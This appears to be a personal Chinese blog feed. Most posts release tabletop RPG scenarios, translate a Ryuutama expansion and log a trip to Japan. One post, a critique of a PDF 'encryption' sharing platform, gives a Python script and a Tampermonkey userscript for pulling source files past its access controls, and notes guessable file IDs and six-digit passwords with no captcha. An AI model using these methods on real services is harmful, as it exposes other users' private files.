MatserNoah's Box

【龙蛋物语剧本】于回风峡放飞信鸢之旅

Sun, 28 Jun 2026 00:00:00 GMT

这是一座建在山风与峡谷边缘的城市。每年秋天的第一场北风穿过回风峡时，城里的人便会迎来“百鸢日”——一百只写着去向与心愿的信鸢会从高处同时升空，把这个秋天最后一批信件送往峡谷另一侧的高地村落。等冬天的大雪封住山路之后，这些纸与竹篾制成的小小羽翼，便成了人与人之间最后的来往。

然而，今年的暴风来得比往年更早。位于峡谷深处的回风塔迟迟没有亮起信号火，镇上用于庆典的第一百只大信鸢也在风暴中损坏。

旅行者们恰好在这时来到这座城市。无论是为了赚取盘缠，还是被山风中的歌声打动，他们都将踏上这段前往回风峡的旅途。

剧本简介

适用于《龙蛋物语》规则书
推荐人数: 2 - 4人
适合等级: Lv 4+
剧本类型: 探索 & 交涉
游戏时长: 6+ 小时

这是一座建在山风与峡谷边缘的城市。每年秋天的第一场北风穿过回风峡时，城里的人便会迎来“百鸢日”——一百只写着去向与心愿的信鸢会从高处同时升空，把这个秋天最后一批信件送往峡谷另一侧的高地村落。等冬天的大雪封住山路之后，这些纸与竹篾制成的小小羽翼，便成了人与人之间最后的来往。

然而，今年的暴风来得比往年更早。位于峡谷深处的回风塔迟迟没有亮起信号火，镇上用于庆典的第一百只大信鸢也在风暴中损坏。若不能在大雪封路前修好塔楼并把最后一批信件送上天空，高地上的村庄就会整整一个冬天收不到消息。

旅行者们恰好在这时来到这座城市。无论是为了赚取盘缠，还是被山风中的歌声打动，他们都将踏上这段前往回风峡的旅途。

更新记录

2026.06.28 初版发布

下载链接

蓝奏云：https://masternoah.lanzouq.com/iJDs13td659g
百度网盘：https://pan.baidu.com/s/1ro-ZVlE0G656oGZZmk0tMg?pwd=NOAH

其它信息

剧本集使用说明

本剧本集内容纯属虚构，与现实中存在的一切组织及个人均无关系。如有雷同，纯属巧合。
禁止将本剧本集用于可能产生收益或变相产生经济效益的情景，包括但不限于：制作衍生产物并获取收益；在商业活动情况下使用该剧本集；印刷本剧本集并出售或有偿赠与。
如有以下需求，可以通过邮箱(noahtie@foxmail.com)或QQ(571364304)联系我：需要剧本的word版；有关于剧本中的问题。

详细版权声明

本剧本中的文本内容基于CC-BY-NC-SA 4.0（知识共享署名-非商业性使用-相同方式共享 4.0 协议）共享，使用时请遵守协议条款。
本剧本中的部分图像内容（第2页插图、封面背景图片、地图的部分元素）使用 ChatGPT-Images2 生成，采用CC0 1.0 Universal（CC0 1.0 通用）协议开放至公共领域；其余图像内容基于CC-BY-NC-SA 4.0（知识共享署名-非商业性使用-相同方式共享 4.0 协议）共享，使用时请遵守协议条款。
本剧本中的部分装饰元素灵感来源于乐博睿出品的《龙蛋物语》官方剧本集。
本剧本中的部分怪物数据摘录自乐博睿出品的《龙蛋物语》规则书。
本剧本中使用的"城市构建卡"模板来自于乐博睿出品的《龙蛋物语》规则书。
本剧本中使用的"狸叶黑体"字体已取得商业使用授权。因对上述字体进行二次分发、修改、利用等对字体版权方造成的侵权责任应由使用者承担。
本剧本中使用的"方正三宝体"字体仅限非商业使用。因违反剧本集使用说明、在商业情景使用本剧本集等情况下，对上述字体版权方造成的侵权责任应由使用者承担。

【龙蛋物语官方扩展】2nd passport ~城市与世界巡游之旅~ 中文译文

Wed, 06 May 2026 00:00:00 GMT

注意：译文暂不完善。

2nd passport ~城市与世界巡游之旅~

由于日方出版商与原作者之间的问题, 龙蛋的二扩目前没办法在日本之外的国家出版. 并且二扩在日本也仅印刷了一批, 导致现在即使想买日文版市面上也买不到.

这个扩展从 2021 年就开始陆陆续续有群友在翻译了, 但是进度一直比较停滞. 前一段时间我在空闲时间里重新拾起了扩展的翻译, 在强大的日文 OCR 模型和翻译模型的帮助下, 翻译效率确实提高了不少. 另外, 译本中的图片是直接从扫描件中截图, 通过 Chatgpt-Images2 模型进行自动修复、高清化处理以及用 PS 手动修复得到的, 因此多少会和原图有一些差距.

目前已完成翻译的章节：

城市之章（街の章）
- 古都煌罗坂（古都キララサカ）
- 神秘之岛莉蒂拉（神秘の島リーティラ）
- 与猫相会。化而为猫。喵布林格勒（猫に会おう。猫になろう。ゴブニャガルド）

前言

城市与世界巡游之旅

旅行者穿过无数的街巷，驰骋于诸多世界。

旅行者从一个街巷走向另一个街巷。

为了观赏风光明媚的街景，

为了与传说中的人物相会，

为了获得稀世罕见的特产。

而他们所旅行的世界，也呈现出各式各样的形态。

地形的形态、魔法的形态、怪物的形态。

甚至旅行者与龙人的存有方式也截然不同的世界，正在等待着您。

本书内容

本书是为了更加愉快地游玩《龙蛋物语》而推出的补充设定集。“城市之章”中介绍了可作为剧情舞台的五个城市：“雪月花之古都煌罗坂”、“神秘之岛莉蒂拉”、“小喵布林之街喵布林格勒”、“雨与虹之街阿西尔姆”以及“海龙引导之街玛琳西亚”。此外，在本书末尾，还包含了将小喵布林作为玩家角色的规则。“世界之章”则介绍了体验与平时略有不同的《龙蛋物语》的世界——“歌片世界奥克斯特纳”的设定，以及专用的追加规则。同时，书中还收录了四个适用于任何世界的追加规则。

本书所收录的全部要素，均可与《龙蛋物语 natural fantasy R.P.G》（基础规则书）结合使用。五个城市和四个追加规则，是对在TRPG专门杂志《Role&Roll》上连载的文章内容进行了增补和修订后的结果。

下载链接

百度网盘: https://pan.baidu.com/s/1pvthHuxM6iFQp54vzIDyiQ?pwd=NOAH

更新日志

2026-07-30
- 更新城市之章《与猫相会。化而为猫。喵布林格勒》的译文
2026-05-06
- 更新城市之章《神秘之岛莉蒂拉》的译文
- 修复城市之章《古都煌罗坂》的一些错译
2026-05-01
- 更新城市之章《古都煌罗坂》的译文

翻译手记

这里是我在翻译时遇到的一些比较有意思的文本相关的记录.

城市之章古都煌罗坂

关于城市名称"煌罗坂"

日文原标题"古都キララサカ". "サカ"就是日文汉字"坂"的假名, 本意是"坡道", 经常出现在地名中, 例如道玄坂\神保坂等. "キララ"有晶亮、闪烁的感觉,大概是源自"煌々". 这里应该是将"煌々"和"坂"拼接在一起, 形成了一个自造的缩合词. 按照日文读音和词义, 半意义半音译成"煌罗坂".

较早还有一版翻译, 译成了"辉良坂", 但是感觉差点"古城"的感觉.

はんなり

原文中出现了这个词语, 这是日本京都的方言, 意为"雅致". 由此可见, 煌罗坂的原型大致是京都极其周边的地区, 也正好符合"古都"的称号.

蘑菇人

蘑菇人的日文假名"マイコニード", 前缀部分"マイコ"很像日文中舞妓的发音, 大概是为什么会选择蘑菇人出现在这一章节以及其歌舞伎装扮的原因.

城市之章神秘之岛莉蒂拉

玉手箱

浦岛太郎的典故.

这个故事目前流传了至少 3 个不同的版本(来自维基百科):

现代版本: 故事讲述的是渔夫浦岛太郎救了一只海龟后，被乙姬公主邀请到龙宫。他在宫中享受了数日的款待，临行前，公主给了他一个玉手箱，并叮嘱他千万不要打开。回到家后，他发现父母双亡，身边的人也都面目全非。悲痛欲绝的他忘记了公主的警告，打开了玉手箱。宝箱中升起白烟，他瞬间变成了一个白发苍苍的老者。
在香川县仲多度郡流传的“浦岛太郎”传说的另一个版本中，浦岛太郎得到一个三层玉手箱，公主嘱咐他危难时要使用它。当他打开玉手箱时，第一层是鹤羽。第二层升起白烟，浦岛太郎变成了一位老人。第三层是一面镜子。他照了镜子后发现，第一层的鹤羽粘在他的背上，他变成了一只鹤。这时，公主化作乌龟出现，与他相会。
在丹後國風土記记载的早期版本故事中，这个盒子称为“玉櫛笥”（たまくしげ）。故事的主人公名叫浦岛子，而那位女子自称是不死之身。浦岛子在蓬莱山居住了三年，临行前，他获赠了这个盒子。

城市之章与猫相会。化而为猫。喵布林格勒

关于城市名称"喵布林格勒"

城市日文名"ゴブニャガルド"应该是英文"Gobunya Gard"的假名音. 其中"ゴブニャ"毫无疑问是喵布林的意思, 而后半部分是词缀"-gard"（界/域）, 经常用在地名中, 例如列宁格勒(Leningrad)及其旧称彼得格勒(Petrograd)等. 于是这里就按照俄罗斯地名的翻译习惯，半意译翻译成"喵布林格勒"了.

在<旅途助力店面向接下来的旅程>一节中的"猫儿见了木天蓼"

日文原文"猫に股旅"中的"股旅"就是木天蓼, 直译就是"猫对木天蓼". 这是一个日语俗语，完整的说法是"猫に股旅、坊主に庖丁"（猫爱木天蓼，和尚爱菜刀），用来比喻各有所好，或者某样东西对某人有无法抗拒的吸引力（就像猫一闻到木天蓼就走不动道）。

所以这里取"某样东西对某人有无法抗拒的吸引力"之意, 译作"猫儿见了木天蓼". 顺便还编了一个歇后语: 猫儿见了木天蓼——走不动道.

在<旅途助力店面向接下来的旅程>一节中的"乖猫伪装屋"

原文"猫かぶり屋", 其中的"猫かぶり"来自惯用语"猫をかぶる"，字面意思是"戴上猫脸"，实际意思是装乖、扮天真、假装温柔无害, 也就是常说的装好人\扮可爱; "屋"既可以是"店、铺子", 也可以是"XX的人"的意思.

这里感觉上是作者玩了一个双关, "猫かぶり屋"既是店名, 也说来这里的喵布林都是"装乖的猫". 于是就结合两层含义, 意译成了"乖猫伪装屋".

新追加特性"猫系的"

日文原文"ネコっぽい", "ネコ"是猫的片假名, "っぽい"是后缀，意思是"像……的", 这里就是指道具有猫的特征. 参考了时尚圈常用的"XX系"的说法, 翻译为了"猫系的".

在<威胁街市之物暗黑街的堕落猫仔>一节中的"喵--布林格勒"

这是感觉整个章节翻译下来最难处理的单词了.

日文原文"ゴブニャーガルド", 相较城市的日文名"ゴブニャガルド"只多了一个长音. 整个句子是"ゴブニャガルドを「ゴブニャーガルド」にしよう", 也就是"想把喵布林格勒变成ゴブニャーガルド". 实在是不知道怎么翻译比较好了, 就按照"喵"长音的方式, 硬给中文里面也加了个长音.

【龙蛋物语剧本】于白银雪原追寻极光之旅

Wed, 20 Aug 2025 00:00:00 GMT

这是一座几乎没有四季的城市，雪花几乎整年伴随着雪之龙飞舞在天空之中。在一望无际的白色雪原中，一座小小的城市安静地坐落在冰天雪地之中。

旅行者们即将从城市出发，踏上充满未知的雪原，向北方进发，开启这场追寻极光的旅程。

剧本简介

适用于《龙蛋物语》规则书
推荐人数: 2 - 4人
适合等级: Lv 4+
剧本类型: 战斗 & 探索
游戏时长: 6+ 小时

这是一座几乎没有四季的城市，雪花几乎整年伴随着雪之龙飞舞在天空之中。在一望无际的白色雪原中，一座小小的城市安静地坐落在冰天雪地之中。

城市北部的雪原的尽头是充满危险又引人向往的极光海岸，峡谷上空时常会浮现出绚丽的极光。传说对着极光许下的愿望会在不久之后实现！许多旅行者或为了一览极光的美景，或为了心愿成真，于这白银雪原踏上追寻极光之旅。然而，美丽的极光并非对所有旅行者都敞开怀抱——只有那些心怀纯净信念和无畏勇气的人，才能穿越雪原和冰崖的阻隔，抵达峡谷深处。

旅行者们即将从城市出发，踏上充满未知的雪原，向北方进发，开启这场追寻极光的旅程。

更新记录

2026.06.28 剧本更新: 地图和插图更新

2025.08.21 页面更新：添加 Diceho 链接

2025.08.20 初版发布

下载链接

Dicecho：于银白雪原追寻极光之旅 | 模组 | 骰声回响
魔都TRPG：于白银雪原追寻极光之旅 | 魔都

v260628

蓝奏云: https://masternoah.lanzouq.com/ikQox3td6j9a
百度网盘: https://pan.baidu.com/s/1RH1hucs9d6xf6J_gX5G8Rg?pwd=NOAH

v250821

蓝奏云：https://masternoah.lanzouq.com/itEpg33zg73i （目前蓝奏云盘非会员用户分享的文件无法用手机下载，请使用PC或者修改UA后下载）
百度网盘：https://pan.baidu.com/s/1zuNSgudA4CiCCzxgjzcEWw?pwd=NOAH

其它信息

剧本集使用说明

本剧本集内容纯属虚构，与现实中存在的一切组织及个人均无关系。如有雷同，纯属巧合。
禁止将本剧本集用于可能产生收益或变相产生经济效益的情景，包括但不限于：制作衍生产物并获取收益；在商业活动情况下使用该剧本集；印刷本剧本集并出售或有偿赠与。
如有以下需求，可以通过邮箱(noahtie@foxmail.com)或QQ(571364304)联系我：需要剧本的word版；有关于剧本中的问题。

详细版权声明

本剧本中的文本内容基于CC-BY-NC-SA 4.0（知识共享署名-非商业性使用-相同方式共享 4.0 协议）共享，使用时请遵守协议条款。
本剧本中的部分图像内容（第5页插图、第7页插图、封面背景图片）使用OpenAI Sora专业版生成，采用CC0 1.0 Universal（CC0 1.0 通用）协议开放至公共领域；其余图像内容基于CC-BY-NC-SA 4.0（知识共享署名-非商业性使用-相同方式共享 4.0 协议）共享，使用时请遵守协议条款。
本剧本中的部分装饰元素灵感来源于乐博睿出品的《龙蛋物语》官方剧本集。
本剧本中的部分怪物数据摘录自乐博睿出品的《龙蛋物语》规则书。
本剧本中使用的"城市构建卡"模板来自于乐博睿出品的《龙蛋物语》规则书。
本剧本中使用的"狸叶黑体"字体已取得商业使用授权。因对上述字体进行二次分发、修改、利用等对字体版权方造成的侵权责任应由使用者承担。
本剧本中使用的"方正三宝体"字体仅限非商业使用。因违反剧本集使用说明、在商业情景使用本剧本集等情况下，对上述字体版权方造成的侵权责任应由使用者承担。

【COC剧本】猫是我

Thu, 19 Jun 2025 00:00:00 GMT

剧本简介

故事发生在2024年的日本东北部“猫之岛”田代岛——一座猫咪数量远超居民的小岛。这里有宁静的渔村、供奉猫神的神社，以及与世隔绝的独特风情。

调查员们以旅行者的身份登上小岛，目的或许是观光、调查新闻，或是协助当地的流浪猫计划。岛上的猫咪温顺可爱，居民和游客看似平静如常。

这是一则适用于《克苏鲁的呼唤》TRPG 7版规则书的剧本。调查员在游戏中也有可能不幸变身为猫咪，这种情况下，也可以融合《喵酥噜的召唤》（Call of Catthulhu）规则。至少2名玩家将扮演旅行者前往有着“猫岛”之称的小岛·田代岛观光，并在猫咪的注视下展开一场有些诡异又有些可爱的冒险。调查员可以在冒险开始前就相互认识，也可以在游戏开始之后相识。

正常情况下，该剧本中仅存在少量的简单战斗要素（除非调查员执意通过暴力解决某些争端），因此请守秘人在建立角色卡时提醒玩家将重点放在探索类、社交类以及知识类技能上。比较推荐调查员使用的技能包含社交类技能、生物学、医学、锁匠及侦查。调查员是前往田代岛的旅行者，但目的或许不仅仅是旅行。推荐给玩家的调查员身份如下：

网红博主或记者（追踪#猫之岛猫咪#话题）
兽医或野生动物保护中心的员工（为了协助田代岛的“流浪猫绝育计划”执行）
岛外的警方相关人士（警察、侦探、鉴定员等身份，被派来协助搜查失踪案）

关于田代岛

田代岛位于日本东北部，以岛上的众多猫咪而闻名。虽然这些猫大多是流浪猫，但它们得到了当地人的悉心照顾，过着舒适的生活。岛上居民视猫为吉祥物，相信它们能给岛上的人们带来好运。岛上的一切似乎都与猫有关，甚至神社里都供奉着“猫神”（美与利大明神）的雕像，供品是猫最喜欢的鱼肉罐头。田代岛的居民甚至在房子的屋顶和外墙上添加了猫的元素，形成了岛上独特的景观。

2020年8月，名叫后藤静香的游客踏上了这座猫岛，其身份为极端动物保护组织“PETA”亚洲分部成员。发现当地政府起草了对岛上90%的流浪猫进行绝育手术的计划书之后，认为这是“因人类的私欲和责任推卸而对动物的无端迫害”的她开始在岛上奔走呼吁，希望借助民众的力量胁迫政府停止绝育政策。在四处碰壁之后，她离开了猫岛。

2024年2月，后藤静香以记者的身份再次回到了猫岛。这一次，她带着从中国某地得到的禁忌古书《扪虱谈猫录》登上了这座岛，并决心替岛上的猫复仇。她从这本意外得到的古籍中找到了一则“可以让身边的猫咪数量增加”的魔法仪式。她数次施展了这则与巴斯特息息相关的咒语，并在2个月内前先后将作为复仇对象的4名居民变成了猫咪，并绑架并拘禁了意外目击仪式现场的1名游客。当地巡警接到了这5起失踪的报案，但对此毫无头绪。

后藤静香在调查员来到田代岛当天的夜晚再次作案，将发起“绝育计划”的核心人物、身为田代岛民众代表的长谷川荣变成了一只黑猫。调查员们对后藤的怀疑让她将调查员视作了复仇的威胁，于是她也将调查员作为了仪式的目标。

</details>

作者的碎碎念

本来打算写一个日模（不记得第几次这么说了），结果写着写着又成了美模。灵感是前一段时间看到的猫岛的文章，然后就想着写个发生在猫岛的旅游团。

不久前去日本旅游见到的一些东西很好地在剧本里面体现出来了，一些原本依靠想象和在ACGN里面看到的东西，如今也是亲身体会过了。这次写起来日本背景的东西稍微轻松一些，尽管还是有很多资料需要查吧。每次写剧本都是查资料的时间大于写剧本的时间。

更新记录

2025-06-19 初版发布
2025-08-22 更新：修正正文错误，更换封面

下载地址

蓝奏云：
- 剧本：https://masternoah.lanzouq.com/ic7QK347ch2b
- 展示材料电子版：https://wwp.lanzoup.com/i8SJO2z4t2kd

其它信息

本剧本采用的文本、图片（除已标注引用内容外）均为作者原创。除引用内容外的作品内容采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议共享，请遵守协议条款。

封面图片素材由OpenAI Sora生成，依CC0 1.0 Universal许可协议授权。
田代岛的照片素材来源自Wikipedia，修改后的图片依原本许可协议授权。
田代岛的地图素材及旅游手册素材来源自“石卷市官方网站”，原始文件及修改后的文件均禁止商业使用。
字体（狸叶黑体）在已获取商业许可的情况下使用，未经许可请勿二次使用或分发。
展示材料中的“handout-4-文件1”及“handout-5-文件2”使用生成式AI辅助编写，依CC0 1.0 Universal许可协议授权。
除上述提及到的内容以外，剧本中的文字及图片均为作者原创，依CC BY-NC-SA 4.0许可协议授权。

如有以下需求,请通过我的邮箱(noahtie@foxmail.com)或添加我的qq(571364304)联系我:

需要展示材料可编辑版本的文件\剧本word版
制作包括但不限于视频\小说等有可能产生利益的二次创作
有关于剧本中的问题

禁止在未经授权的情况下，将该剧本用于任何有可能产生收益或变相谋取经济效益的情景，包括但不限于：

制作衍生产物并获取收益
在商业活动情况下使用该剧本
除个人使用之外印刷该剧本

本作品纯属虚构，内容可能涉及真实地点、事件及人物。这些内容通过克苏鲁神话及《克苏鲁的呼唤》游戏滤镜加以诠释，可能与现实中的地点、事件及人物有所出入。无意冒犯任何现实存在之人——无论是活着还是已死去。作品中的故事皆为虚构，灵感来自怪异恐怖小说作家的想象。

【赛博保安】某些 PDF 加密分享平台获取源文件

Sun, 23 Feb 2025 00:00:00 GMT

本文章没有针对任何厂商和平台, 我只是平等地看不起所有把开源代码修改几下, 自以为是地加个所谓的"加密", 就敢把产品拿出来祸害用户的垃圾厂商.

本文章的所有内容纯属虚构, 如有雷同纯属巧合.

0 写在前面

本文中以虚构的笔X分享为例, 介绍一种通过 HTTP 流量抓包/重放实现的简单的获取声称"被加密"的 PDF 源文件的方法.

首先来细数这类分享平台的罪恶:

滥用开源代码, 不遵守开源协议. 不仅代码闭源, 甚至在不标注代码来源的情况下修改代码后商用.
以文件"加密"平台自居, 实际上并未对文件进行任何意义上的加密, 仅使用开源的前端 JS 代码对 web 端页面权限进行限制. 文件传输\读取过程暴露在完全未加密的状态下, 属于是害人来的.
文件水印功能实际上只显示在前端, 并未对文件进行加水印操作, 属于是想省钱想疯了.

1 工具准备

任意抓包工具, 只要能抓 HTTP 流量就行

本文以 Burp Suite Community 为例.

2 XX, 启动!

启动 Burp, 在 Proxy 页上开启拦截.

在 Burp 内置的谷歌浏览器中访问得到的分享链接.

如果你使用的是 2025 年之后版本的 Burp 的话, 会看到 Burp 将页面的所有 web 请求都整齐地列了出来, 这点比老版本的 Burp 会舒服很多. 而且还可以多选 Forward/Drop.

作为例子的这个网站接入了腾讯的统计系统, 会频繁向 otheve.beacon.qq.com 发送请求. 并且每隔 1s 就会发起一次 heartbeat 请求. 比较烦人, 可以右键停止拦截到这些目录的请求.

放一些包, 直到看到一个明摆着加载了文件的包时:

好家伙, 文件直接存到 CDN 里面, 访问的时候前端限制一下, 然后 CDN 里面直接丢源文件过来.

把这个请求传到 Repeater 里面.

就拿到了源文件.

Response 栏上面三条杠, 保存到文件, 再用二进制编辑器把文件内容之外的 HTTP 响应体删掉. 如果你的 PDF 阅读器够现代化, 可以自动识别到文件头的位置, 甚至可以直接打开.

3 所以... 问题出在哪里

首先大概梳理以下这个网站的"加密"逻辑:

用户上传文件

存储至 CDN 并为文件生成一个 ID (疑似为 Base64 编码后的数字字符串)-> (猜测)将文件在 CDN 中的存储位置与随机生成的文件 ID 存储至数据库

这里就已经出现了比较严重的问题了.

可以看到, 当文件上传时, 会跳转至 /#/pdf/result/<digital id> 页面, 会将访问文件时使用的链接(https://pdfxx.cn/api/pdf/pdf?id=MTIyxxxx)显示出来. 神奇的事情发生了, 链接中的 id 参数在 base64 解码之后正是 url 中的<digital id>. 因此猜测存在 id 爆破问题. 尝试访问几个其他的文件:

确实和猜测的一样. 多试了几个, 没有加密的文件是可以直接访问的:

访问文件时会从 CDN 上获取对应的文件

用户访问文件

根据用户访问的 id 查询文件在 CDN 上的路径 -> 用 pdfjs 加载 CDN 上的 pdf 文件.

也就是说, 全程实际上没有涉及到加密传输之类的技术, 仅在前端对按键\开发者工具等进行了限制.

在看 js 代码时, 发现了一个接口:

联系上下文, 应该是获取 pdf 文件在 CDN 中存储地址的接口, 浅试一下:

至此已经可以在获得文件分享地址的情况下提取到 pdf 源文件了.

import requests
from base64 import b64decode

host = "pdfxx.cn"
id = "xxxxxx"
url_api = f"https://{host}/api/pdf/uurl?id={id}"

headers = {
    "Host": host,
    "Sec-Ch-Ua": '"Chromium";v="133", "Not(A:Brand";v="99"',
    "Sec-Ch-Ua-Mobile": "?0",
    "Sec-Ch-Ua-Platform": '"Windows"',
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36",
    "Accept": "*/*",
    "Origin": f"https://{host}",
    "Sec-Fetch-Site": "same-site",
    "Sec-Fetch-Mode": "cors",
    "Sec-Fetch-Dest": "empty",
    "Referer": f"https://{host}/",
    "Accept-Encoding": "gzip, deflate, br",
    "Accept-Language": "zh-CN,zh;q=0.9",
    "Priority": "u=1, i",
    "Connection": "keep-alive"
}

api_cdn = requests.get(url_api, headers=headers, timeout=10)
url_cdn = b64decode(api_cdn.json.get("data").encode())

response = requests.get(url_cdn, headers=headers, timeout=100)
response.raise_for_status()

with open(f"{url_cdn.split('/')[-1]}", "wb") as f:
    f.write(response.content)

用户浏览器加载 pdf 文件

前端 js 对用户行为进行限制, 包括:

监听并劫持键盘事件
定时发送 HeartBeat, 以实现限制单次访问时长的功能
检测到 Debugger 之后跳转到 ConsoleBan 页面
鼠标焦点离开页面后显示遮罩层

祭出我的 Tamper Monkey 脚本, 稍作适配:

// ==UserScript==
// @name         PDFXX Unlocker
// @namespace    http://noahbox.github.io
// @version      0.1
// @description  解除PDFXX的控制台检测/右键限制/遮罩层
// @author       NoahTie
// @match        *://pdfxx.cn/*
// @run-at       document-start
// @grant        unsafeWindow
// @grant        GM_addStyle
// @license      MIT
// ==/UserScript==

(function() {
    'use strict';

    // 禁用ConsoleBan
    // ========================================
    unsafeWindow.ConsoleBan = class {
        constructor() {
            console.log("[Bypass] ConsoleBan constructor neutralized");
        }
        init() {}
        ban() {}
        fire() {
            console.warn("[Bypass] Blocked redirect attempt");
            return false;
        }
    };
    Object.defineProperty(unsafeWindow, 'ConsoleBan', {
        configurable: false,
        writable: false
    });

    // 事件系统劫持
    // ========================================
    const nativeAddEventListener = EventTarget.prototype.addEventListener;
    EventTarget.prototype.addEventListener = function(type, listener, options) {
        const blockedEvents = [
            'contextmenu', 'selectstart',       // 右键/选择限制
            'visibilitychange', 'blur',         // 标签页切换检测
            'mouseleave', 'mouseout'            // 鼠标离开检测
        ];
        if (blockedEvents.includes(type)) {
            console.log(`[Bypass] Blocked ${type} event binding`);
            return;
        }
        nativeAddEventListener.call(this, type, listener, options);
    };

    // 动态遮罩层清除
    // ========================================
    GM_addStyle(`
        #mask-layer, .anti-shade, [class*="mask"] {
            display: none !important;
            opacity: 0 !important;
            pointer-events: none !important;
        }
        body > div:not(#viewerContainer) {
            filter: none !important;
        }
    `);

    const observer = new MutationObserver(mutations => {
        mutations.forEach(mutation => {
            mutation.addedNodes.forEach(node => {
                if (node.nodeType === 1 && (
                    node.id.includes('mask') ||
                    node.className.match(/shade|modal|overlay/)
                )) {
                    node.remove();
                    console.log("[Bypass] Removed dynamic mask layer");
                }
            });
        });
    });
    observer.observe(document.body, {
        childList: true,
        subtree: true
    });

    // 定时器清理
    // ========================================
    const timerStore = new Set();
    const hijackedSetInterval = window.setInterval;
    window.setInterval = (fn, delay) => {
        const id = hijackedSetInterval(() => {
            try {
                if(!fn.toString().includes('debugger')) fn();
            } catch(e) { console.error(e); }
        }, delay);
        timerStore.add(id);
        return id;
    };

    setInterval(() => {
        timerStore.forEach(id => {
            clearInterval(id);
            clearTimeout(id);
        });
        timerStore.clear();
    }, 1000);

    // 网络请求拦截
    // ========================================
    const nativeFetch = window.fetch;
    window.fetch = (url, options) => {
        if (/consoleBan|lunxun/.test(url)) {
            console.log(`[Bypass] Blocked request to ${url}`);
            return Promise.reject(new Error('Blocked by script'));
        }
        return nativeFetch(url, options);
    };

    XMLHttpRequest.prototype.open = function(method, url) {
        if (/consoleBan|lunxun/.test(url)) {
            this._blocked = true;
            console.log(`[Bypass] Blocked XHR to ${url}`);
        }
        nativeOpen.apply(this, arguments);
    };
    XMLHttpRequest.prototype.send = function(data) {
        if (this._blocked) return;
        nativeSend.call(this, data);
    };

    // 右键恢复
    // ========================================
    document.addEventListener('DOMContentLoaded', () => {
        document.body.oncontextmenu = null;
        document.querySelectorAll('*').forEach(el => {
            el.oncontextmenu = null;
            el.style.pointerEvents = 'auto';
        });
    });

    // 反反调试
    // ========================================
    Object.defineProperty(unsafeWindow, 'console', {
        value: console,
        writable: false,
        configurable: false
    });
    Object.defineProperty(unsafeWindow.console, 'log', {
        value: console.log,
        writable: false
    });
})();

至此, 除了需要密码访问和需要微信鉴权的文件之外, 已经完全结束了.

4 And more ... ?

在尝试了密码加密和微信鉴权之后, 我发现了一些有趣的东西.

不过这些不打算写出来. 毕竟已经涉及到用户隐私了.

还是做一个提醒, 不要相信这些加密和微信鉴权.

另外, 这个平台的文件访问密码一定是 6 位纯数字的, 没有任何 captcha 机制, api 接口暴露且没有来源检测.

【日常】2025 日本旅行 Log

Sun, 16 Feb 2025 00:00:00 GMT

出发前参考了 Rx 老大哥写的游记 (全程生草, 乐死我了). 遂打算回来之后写一篇差不多的, 记录一下旅行期间比较生草的事情, 顺便夹带一点正经的攻略.

出发前

情景对话:

cc: 给你说个事

我: 咋了?

cc: 之前不是说去港澳和韩国吗? 估计去不了了.

[省略一段原因]

cc: 所以我和 [cc 的女朋友] 想着去日本逛一圈, 要不然你和 [我的女朋友] 一起?

我:

于是, 3 个不会日语和 1 个自学到(也许)日语 N3 的人就开始订机票办签证安排行程了.

大体行程

(关西)大阪 -> 京都 -> 富士河口湖 -> 东京(关东)

机票

出发时间是 2 月 6 日(农历正月初九), 回程在 2 月 14 日. 正好避开了春节期间去日本旅游的大军, 往返机票加起来 ~CNY1k5 (去程 ~CNY600, 回程 ~CNY900).

护照&签证

提前一个月左右办护照\换新护照.

我在飞猪直接搜的日本签证, 价格基本上都是一样的, 旅游单次电子签 198/人. 对大学在读的学生和毕业 3 年内的学生, 可以走简化签证流程需要准备的材料只有:

护照首页扫描件
户口本户主页和本人页扫描件
学信网学籍核验报告 PDF 文件
2 寸照片的电子版

当时办签证正好赶上日本的新年假期(1 月 1 日 ~ 1 月 7 日)所以稍微满了一些, 从申请到下签一共用了 11 天.

住宿

大阪和京都在 Airbnb 订的民宿, 全都是当地的两层一户建, 极度舒适, 人均 ~CNY220/天.

富士河口湖和东京都在 Agoda 订的酒店, 东京的酒店距离秋叶原电器街甚至只有走路 10 分钟的距离, 人均 ~CNY250/天

日本交通

在 Klook 买的新干线指定席车票.

在 WillerTravel 买的往返富士河口湖的高速大巴车的车票.

铁路线在出发前我大概合计了一下, 买 JR 通票还不如直接搞张交通卡用多少充多少, 实在用不完了还可以在便利店或者自动售货机刷掉. 关于铁路这部分比较复杂, 最后单独写一下.

其它

我和女朋友一共准备了 15w 日元. 日本有些店只能现金支付, 有些店又只能非现金支付. 如果银行可以取 1k 面额的日元最好取点, 日本的自动售货机最多只认 1k 面额的纸币. 或者得去机场找银行的人工柜台换. 最好不要在日本用 CNY 换 JPY, 汇率比银行汇率低大约 10%.

在 Klook 买的大阪 USJ 的门票.

在飞猪买的日本流量卡 10天 30GB CNY99/张. 其实整个旅行下来一共只用了 4GB的流量, 买个 10天 10GB 的都完全够用了... 买流量卡的时候一定要买日本当地运营商(SoftBank/Docomo)的卡, 千万别买漫游卡(有可能买到中华电信的卡, 据说网络巨差), 也别买国内运营商的漫游流量包(相当于国内网络, 访问不了外网).

在日本用到的手机 APP 只有谷歌地图 & 食べログ(类似于国内的大众点评, 可以看到附近的饭店以及人均消费)& USJ的官方APP & 支付宝 & 微信.

买了个电源转换器, 没用上. 日本的双相插座和国内的一样, 可以直接用. 如果你带了三相插脚的设备, 需要买一个双相转三项的转换器. ~~别学 RX.~~

出发前可以提前在 Visit Japan Web 注册账号, 登记好签证\行程信息\申报, 过海关的时候就不用填纸质的入境单和申报单了.

在日本千万别买可疑的饮料喝, 尤其是易拉罐装, 看起来很高大上, 名字带着"CBD"几个英文字母的. 到日本的第一天就看到售货机里有卖一个看起来很高端的饮料, 名字叫 CBDX, 售价 JPY500, 当时 cc 差点就买了, 幸亏我搜了一下. 感兴趣自己去搜关键字"CBD 饮料".

Day 0 (西安✈济南)

为了省点💴, 买了个济南转机的联程票. 晚上 11 点到济南, 次日 9 点飞到大阪关西. 中转时间在 6 小时以上, 可以申请机场的国际中转免费住宿, 整挺好, 酒店还带顿自助早餐. 同行的朋友早起去超意兴吃早饭了, 我们两个懒狗没去.

如果起飞时间在下午, 还能申请一张机场的免费午餐券.

飞机上开蓝牙可以连机上模式, 有掼蛋可以和同飞机的人联机玩. 玩了一把赢了.

Day 1 (济南✈大阪)

只能说不愧是山航, 嗯是比预计降落早到了半个小时. 起飞的时候推背感感觉得有其它航司的两倍, 落地的时候还一点感觉都没有.

